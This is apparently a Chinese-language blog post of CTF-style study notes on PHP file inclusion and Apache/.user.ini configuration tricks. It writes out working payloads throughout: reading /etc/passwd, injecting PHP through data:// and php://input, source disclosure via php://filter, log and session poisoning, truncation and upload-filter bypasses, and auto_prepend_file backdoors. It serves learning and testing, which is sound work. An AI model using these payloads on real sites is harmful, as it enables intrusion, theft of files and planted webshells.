文件包含
一、文件包含#
1.定义#
简单形式#
<?php include($_GET['file']);?>
#测试方法
?file=https://www.baidu.com/ #网站测试
?file=data://text/plain,<?php phpinfo()?> #伪协议测试
?file=/etc/passwd #linux系统
漏洞函数#
<?php
#文件包含,可执行
include 包含并运行指定的文件,有返回值,包含文件出错不影响程序执行
include_once 相比include,有相同名称的文件只进行一次包含
require 无返回值,包含出错会终端程序执行,并报出错误
require_once 同上,require_once 语句时会先检查要包含的文件是不是已经在该程序中的其他地方被包含过,如果有,则不会再次重复包含该文件。
#读取文件内容,不执行
file(),fopen(),readfile(),show_source(),file_get_contents()... ...
?>
漏洞类型#
2.本地文件包含(LFI)#
LFI指本地文件包含(Local File Include)
能够打开并包含本地文件的漏洞,我们称为本地文件包含漏洞,如:
<?php
$file=$_GET['filename'];
include($file);
?>
漏洞利用:
1.使用绝对路径相对路径读取一些系统本地的敏感信息
例如:读取日志:?file=var/log/nginx/access.log
2.配合文件上传使用,上传一句话木马
3.包含Apache日志文件,网站存在文件包含漏洞,但没有文件上传点,这个时候我们还可以通过利用Apache的日志文件来生成一句话木马
1.包含Apache日志文件#
在用户发起请求时,服务器会将请求写入access.log,当发生错误时将错误写入error.log,日志文件如下:
当我们正常访问一个网页时,如`http://127.0.0.1/phpinfo.php,access日志会进行记录,如下图所示:
如果我们访问一个不存在的资源,也一样会进行记录,例如访问:
127.0.0.1<?php phpinfo();?>
但查看日志会发现被成功记录但被编码了,如下:
我们再次进行访问,并使用burp抓包,发现被编码,我们将报文修改回去,再进行发送即可:
此时再查看access日志,正确写入php代码:
再通过本地文件包含漏洞访问,即可执行
2.包含SESSION文件#
php的session文件的保存路径可以在phpinfo的session.save_path看到。
session常见存储路径:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。
3.包含临时文件#
原理:
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用C:\windows\temp目录。在临时文件被删除前,可以利用时间竞争的方式包含该临时文件。
方法:
由于包含需要知道包含的文件名。
一种方法是进行暴力猜解,linux下使用的是随机函数有缺陷,而windows下只有65535种不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。
4.任意文件读取漏洞#
任意文件读取漏洞是指攻击者通过在应用程序中输入非法的文件名或路径,从而获取未授权的文件读取权限的漏洞。攻击者可以利用此漏洞来读取系统文件、敏感数据或其他用户数据。这种漏洞通常是由于程序没有正确地检查用户的输入而引起的。建议开发人员在编写应用程序时进行严格的输入验证并使用安全的文件访问方法来避免此类漏洞的发生。
文件包含和文件读取漏洞的区别是:
前者表示执行了非预期的程序,比如黑客事先通过文件上传漏洞上传的木马程序、服务器本身存在的一些程序等;
后者表示预览和下载了非法路径下的文件内容,比如系统信息、程序源码、密钥账号等信息。
3.远程文件包含(RFI)#
如果PHP的配置选项allow_url_include、allow_url_fopen状态为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含(RFI)
例如: file_get_contents()函数,可以通过协议等漏洞让file_get_contents函数返回想要的内容
1.伪协议#
-
注意部分协议需要满足
allow_url_fopen
,allow_url_include
的开启
file://
file://x/x/... — 访问本地文件系统
+++++++++++++
PHP输入流php://input
特点:
1.读取POST数据,读取不到GET数据
2.不能用于multipart/form-data类型(post数据包中的的Content-Type)
3.当Content-Type为application/x-www-form-urlencoded且提交方法是POST方法时,$_POST数据与php://input数据是一致的。
3.php://input较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置
4.用法:?xxx=php://input
POST提交php代码:<?php phpinfo()?>
+++++++++++++
php://filter
php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
人话:读写内容(文件,网站等)
php://filter/read=convert.base64-encode/resource=读取内容的路径
convert转换过滤器
名称 描述
resource=< 要过滤的数据流 > 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=< 读链的筛选列表 > 该参数可选。可以设定一个或多个过滤器名称,以管道符分隔
write=< 写链的筛选列表 > 该参数可选。可以设定一个或多个过滤器名称,以管道符分隔
< 两个链的筛选列表 > 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。
++++++++++++++
data://
data:// — 数据流封装器。用法类似于php://input
用法:
data://text/plain;base64,xxxxx 将读取后面base编码字符串后解码的数据作为数据流的输入
data://text/plain,php代码或者字符串
+++++++++++++++
file=compress.zlib://flag.php
filter协议读源代码
转换过滤器convert
常见的convert转换过滤器有这两种:
convert.iconv.<input-encoding>.<output-encoding>
convert.quoted-printable-encode
对于第一种,即convert.iconv.<input-encoding>.<output-encoding>来说,它通过 PHP 的 iconv 扩展实现,该扩展可以帮助将输入数据从指定的字符编码(<input-encoding>)转换为另一个字符编码(<output-encoding>)
其中input-encoding、output-encoding支持的编码格式为:UTF-8、UTF-16、ASCII、BASE64、HTML、UTF-7等等
用法:?filename=php://filter/convert.iconv.UTF-8.UTF-16/resource=check.php
-
字符串过滤器
名称 | 描述 |
---|---|
string.rot13 | 进行 rot13 转换 |
string.toupper | 将字符全部大写 |
string.tolower | 将字符全部小写 |
string.strip_tags | 去除空字符、HTML 和 PHP 标记后的结果 |
-
编码过滤器
名称 | 描述 |
---|---|
convert.iconv.utf-8.utf-7 | 将 utf-8 编码转换为 utf-7 编码,这样再继续使用 base64 编码写文件时候,不会因为特殊符号无法新建文件(windows) |
convert.base64-encode/convert.base64-decode | base64 编码解码 |
convert.quoted-printable-encode/convert.quoted-printable-decode | quoted-printable 编码解码 |
在网站文件名泄露的情况下,利用filter协议读取文件内的php源码
不带过滤器:
file=php://filter/resource=flag.php
base64加密:
file=php://filter/read=convert.base64-encode/resource=关键文件路径
//read时,使用了base64编码,最后应该进行解码才能看到真实的源代码
//使用filter相较于直接包含本地文件的优点是可以看到注释的内容,这可能就是解题的关键
rot13加密:
file=php://filter/read=string.toupper|string.rot13/resource=...
2.require_once#
php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,当已经require_once(‘flag.php’),已经include的文件不可以再require_once。
在这里有个小知识点,/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过,多次包含使其失效。
pyload:
?file=php://filter/read=convert.base64-encode/resource=file:///proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/flag.php
3.php绕过#
①00绕过
条件:magic_quotes_gpc = Off php版本<5.3.4
<?php
include("xxx/".$_GET['file'].".php");
?>
利用读取到%00自动截断的特性
改为:file=a.txt%00(读取是自动转换成空格)
include("xxx/xxx .php") (读到空格时停止,即忽略后面的.php)
②路径长度截断
条件:windows OS,点号需要长于256;linux OS 长于4096
Windows下目录最大长度为256字节,超出的部分会被丢弃
Linux下目录最大长度为4096字节,超出的部分会被丢弃
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
./截断(./中可掺杂/,但是不能全部用/)
payload:?filename=xxx.php/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
点号截断(点号截断适用于Windows系统,当点号的长度大于256B时,就可以造成扩展名截断。)
payload:?filename=xxx.php....................................................................................................................................................................................................................................................................
③Content-Type绕过
Content-Type是上传请求的一个头信息,在burp上可以自定义该内容
例如:Content-Type:image/png
绕过黑名单
其他类型:
text/html
text/plain
text/css
text/javascript
image/jpeg、image/png、image/gif
application/x-www-form-urlencoded
multipart/form-data
application/json
application/xml
通过给上传木马加上相应的幻数头字节就可以绕过:
JPG :FF D8 FF E0 00 10 4A 46 49 46
GIF(相当于文本的GIF89a):47 49 46 38 39 61
PNG: 89 50 4E 47
④大小写绕过
应对情况:设置了php,php3,phtml,.htaccess等黑名单,但是没有限制大小写,或者说部分大小写没有完全限制。
上传.Php .PHp .PHP .pHp .pHP .phP等文件后缀进行绕过检查。
4.日志#
1.apache+Linux日志默认路径:/etc/httpd/logs/access.log或/var/log/httpd/access.log
2.apache+win2003日志默认路径:D:\xampp\apache\logs\access.log、D:\xampp\apache\logs\error.log
3.IIS6.0+win2003默认日志文件:C:\WINDOWS\system32\Logfiles
4.IIS7.0+win2003 默认日志文件:%SystemDrive%\inetpub\logs\LogFiles
5.nginx(web服务器) 日志文件:日志文件在用户安装目录logs目录下,假设安装路径为/usr/local/nginx,那日志目录就是在/usr/local/nginx/logs下面。
6.积累:
/var/log/nginx/access.log
5.其他#
7.用户信息:/etc/passwd
8./proc/self/cmdline
该文件包含的内容为当前进程执行的命令行参数。
9./proc/self
proc是一个伪文件系统,它提供了内核数据结构的接口。内核数据是在程序运行时存储在内部半导体存储器中数据。通过/proc/PID可以访问对应PID的进程内核数据,而/proc/self访问的是当前进程的内核数据。
10./proc/self/mem
/proc/self/mem是当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据。但是注意该文件不能直接读取,因为文件中存在着一些无法读取的未被映射区域。所以要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容。
11./proc/self/maps
/proc/self/maps包含的内容是当前进程的内存映射关系,可通过读取该文件来得到内存数据映射的地址。
13./proc/self/environ
/proc/self/environ文件包含了当前进程的环境变量
14./proc/self/fd
这是一个目录,该目录下的文件包含着当前进程打开的文件的内容和路径。这个fd比较重要,因为在Linux系统中,如果一个程序用 open() 打开了一个文件,但是最终没有关闭它,即使从外部(如:os.remove(SECRET_FILE))删除这个文件之后,在/proc这个进程的fd目录下的pid文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可以得到被删除的文件的内容。通过/proc/self/fd/§pid§来查看你当前进程所打开的文件内容。
二、Apache的解析规则漏洞#
.htaccess文件#
1.简介
.htaccess是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。
当.htaccess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。
这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。
.htaccess文件提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一条或多条指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置
2.条件
.htaccess文件所在的目录及其所有子目录,若要启动.htaccess配置文件,我们需要在服务器的主配置文件将 AllowOverride 设置为 All
AllowOverride All #启动.htaccess文件的使用
1.自定义报错#
我们可以使用.htaccess 创建自定义的出错页面。对于Linux Apache来说这是一项极其简单的事情。使用下面的.htaccess语法你可以轻松的完成这一功能。(把.htaccess放在你的网站根目录下)
ErrorDocument 401 /error/401.php
ErrorDocument 403 /error/403.php
ErrorDocument 404 /error/404.php
ErrorDocument 500 /error/500.php
使用举例:
假设flag为flag{testflag}
.htaccess:
<If "file('/flag') =~ '/flag{a/'">
ErrorDocument 404 "y4tacker"
</If>
通过后面flag{a不断变换字符一直到flag{t,页面就会出现y4tacker
2.强制匹配#
1.SetHandler和ForceType
强制所有匹配的文件被一个指定的处理器处理
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
2.AddHandler
AddType application/x-httpd-php .htm,则.htm文件也可以执行php程序
AddHandler cgi-script .yyy 则扩展名为.yyy的文件作为 CGI 脚本来处理
3.AddType
AddType 可以将给定的文件扩展名映射到指定的内容类型
AddType application/x-httpd-php .xxx 同上AddHandler的作用
4.php_value
文件上传可以利用这个来实现传一句话木马
php_valuephp_value auto_prepend_file 1.txt 在主文件解析之前自动解析包含1.txt的内容
php_value auto_append_file 2.txt 在主文件解析后自动解析1.txt的内容
也可以用来绕过preg_match,我们可以用最大回溯(pcre.backtrack_limit)/递归限制使php正则失效
php_value pcre.backtrack_limit 0 设置正则回朔次数来使正则匹配的结果返回为 false 而不是0 ,从而可以绕过正则。
.user.ini文件#
1.简介
https://wooyun.js.org/drops/user.ini文件构成的PHP后门.html
不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:
1.PHP_INI_SYSTEM、
2.PHP_INI_PERDIR、
3.PHP_INI_ALL、
4.PHP_INI_USER。
基本用法:
1.自动包含图片马
auto_prepend_file=xxx.gif/png/jpg...
session上传文件包含#
在Linux操作系统中,tmp目录是一个临时目录,用于存储临时文件。这个目录通常位于根目录下,命名为/tmp
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!